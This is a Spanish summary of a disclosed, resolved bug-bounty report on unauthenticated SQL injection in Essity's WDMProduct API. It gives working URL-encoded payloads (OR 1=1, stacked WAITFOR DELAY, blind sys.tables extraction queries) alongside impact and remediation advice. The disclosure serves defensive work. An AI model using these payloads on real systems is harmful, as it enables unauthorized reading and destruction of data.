Reports
CRÍTICA[SQL INJECTION]#3778282

Inyección SQL sin autenticación en la API WDMProduct (Essity)

Un parámetro de búsqueda sin sanear en GET /api/WDMProduct permitía inyección SQL ciega y consultas apiladas contra un SQL Server, exponiendo lectura y escritura de datos de producción sin autenticarse.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El endpoint GET /api/WDMProduct de la API que da servicio a una aplicación Angular de Essity era vulnerable a inyección SQL a través del parámetro searchText, sin requerir autenticación de ningún tipo. El backend construía la consulta concatenando directamente el valor recibido dentro de una cláusula LIKE, sin parametrizar.

El investigador localizó el backend porque la propia aplicación de front-end filtraba su dirección en un <script> en línea del HTML inicial (window.baseApiUrl). Ese backend, alojado en Azure App Service (IIS 10.0, ASP.NET), respondía con Access-Control-Allow-Origin: * y, además, exponía sin autenticación la interfaz Swagger y su especificación en /swagger/v2/swagger.json.

La base de datos era Microsoft SQL Azure (Microsoft SQL Azure (RTM) - 12.0.2000.8) y admitía consultas apiladas (stacked queries), lo que ampliaba el impacto de lectura ciega a escritura arbitraria.

Pasos de reproducción

Cabecera empleada en todas las peticiones:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/136.0.0.0 Safari/537.36

1. Descubrir el backend. El HTML de la aplicación exponía la URL base de la API en línea:

<script>
  window.baseApiUrl = '[REDACTADO]api';
  ...
</script>

2. Línea base (sin resultados). Una búsqueda cualquiera devuelve una lista vacía:

GET /api/WDMProduct?searchText=test

Respuesta: HTTP 200, 29 bytes, {"products":[],"labels":null}

3. Condición verdadera (vuelca todas las filas).

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D1--

Decodificado: searchText=zzz') OR 1=1--

Respuesta: HTTP 200, 22.911 bytes, 179 filas de producto.

4. Condición falsa (control).

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D2--

Decodificado: searchText=zzz') OR 1=2--

Respuesta: HTTP 200, 29 bytes, 0 filas.

Los pasos 3 y 4 usan el mismo término imposible de base y solo se diferencian en 1=1 frente a 1=2, lo que demuestra que es la inyección la que controla el conjunto de resultados.

5. Confirmar que es SQL Server. Una subconsulta contra sys.tables (específica de MSSQL) activa la rama verdadera:

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D2%20OR%20(SELECT%20COUNT(*)%20FROM%20sys.tables)%3E0--

Respuesta: HTTP 200, 22.911 bytes (se devuelven todas las filas), confirmando que se ejecutan subconsultas arbitrarias y que el motor es Microsoft SQL Server.

6. Consulta apilada y retardo temporal.

GET /api/WDMProduct?searchText=zzz%27);WAITFOR%20DELAY%20%270:0:6%27--

Decodificado: searchText=zzz');WAITFOR DELAY '0:0:6'--

Respuesta: HTTP 200, 29 bytes, con 6,43 segundos transcurridos frente a ~0,2 s del resto de peticiones. Esto confirma que las consultas apiladas están habilitadas.

Consulta inferida en el backend

El comportamiento observado (' provoca error 500, '' pasa, ') abre la respuesta) encaja con una concatenación de cadena sin parametrizar contra un LIKE, aproximadamente:

SELECT productId, productDescription, productDimension, productLayers
  FROM dbo.WDMProduct
 WHERE (productDescription LIKE '%' + @searchText + '%')
   AND countryCode = ...

El payload ') cierra el literal del LIKE y el paréntesis, añade OR 1=1 y comenta el resto.

Extracción de datos ciega

Con un script de extracción booleana ciega el investigador recuperó metadatos de la base en 1.052 peticiones y 21,4 segundos, empleando consultas del tipo:

SELECT name FROM (
  SELECT ROW_NUMBER() OVER(ORDER BY name) AS rn, name
  FROM sys.tables WHERE is_ms_shipped=0
) t WHERE rn=1

Se confirmó así que el usuario SQL (webwm) tiene acceso de lectura a sys.tables, que la base contiene 10 tablas de usuario y que al menos una se llama vw_WDM_searchData. La versión del servidor era Microsoft SQL Azure (RTM) - 12.0.2000.8.

Impacto

Al tratarse de inyección SQL con consultas apiladas y sin autenticación, un atacante podía:

  1. Leer cualquier tabla accesible al usuario SQL de la API mediante exfiltración por UNION o ciega, incluyendo posibles datos de negocio más allá del catálogo público de productos.
  2. Modificar o borrar datos (UPDATE, DELETE, DROP), corrompiendo o destruyendo registros de producción.
  3. Enumerar el servidor (@@version, sys.databases, servidores enlazados), obteniendo visibilidad completa del entorno SQL.
  4. Ejecutar comandos en el sistema operativo si el principal SQL contase con privilegios de sysadmin o xp_cmdshell, permitiendo pivotar dentro del tenant de Azure.
  5. Explotación de origen cruzado: con Access-Control-Allow-Origin: *, cualquier web de terceros podía lanzar estas peticiones desde el navegador de una víctima.

Remediación

  1. Usar consultas parametrizadas o un ORM; nunca concatenar searchText en SQL en crudo.
  2. Deshabilitar las consultas apiladas en la conexión si el driver lo permite.
  3. Aplicar mínimo privilegio: ejecutar la API con un principal SQL de solo lectura y limitado a las tablas necesarias.
  4. Restringir CORS al front-end exacto en lugar de *.
  5. Retirar Swagger UI de producción, ya que exponía la especificación de la API sin autenticación.

El programa marcó el reporte como resuelto. La divulgación pública se produjo el 27 de agosto de 2026.